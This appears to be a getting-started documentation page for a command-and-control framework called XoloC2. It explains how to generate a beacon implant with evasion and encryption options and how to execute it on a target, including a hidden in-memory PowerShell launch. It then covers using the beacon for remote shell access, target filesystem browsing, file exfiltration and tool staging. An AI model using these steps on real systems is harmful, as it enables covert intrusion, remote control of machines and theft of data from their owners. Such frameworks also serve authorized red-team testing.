Skip to content

Your First Beacon

In the XoloC2 sidebar, click Generate Beacon.

Fill in the form:

  • Type: Python (recommended for first test)
  • C2 URL: https://your-server:8443
  • Sleep: 5 seconds
  • Jitter: 20%
  • Encryption: XOR (default)
  • Evasion options: leave defaults for a first test

Click Download to get the .py source file, or Compile to get a binary.

Transfer the beacon to the target and execute it:

Terminal window
# Python source (Linux)
python3 beacon.py
# Compiled Linux binary
./beacon
# Java
java -jar beacon.jar
# Go binary (Windows)
beacon.exe
# PowerShell (in-memory, no disk write)
powershell -nop -w hidden -File beacon.ps1

Within a few seconds the beacon appears in Sessions. Click it to open the session panel.

Try your first command:

whoami

Output arrives in real time via WebSocket.

Click PTY Shell to open a full interactive terminal in the browser. Full PTY — Ctrl+C, tab completion, vim, htop, and interactive programs all work.

Click File Browser to navigate the target filesystem. Click any file to exfiltrate it directly to your browser.

Use the Upload button to stage a file on the server, then send:

__upload__ /tmp/tool

The beacon pulls and writes the file on its next check-in.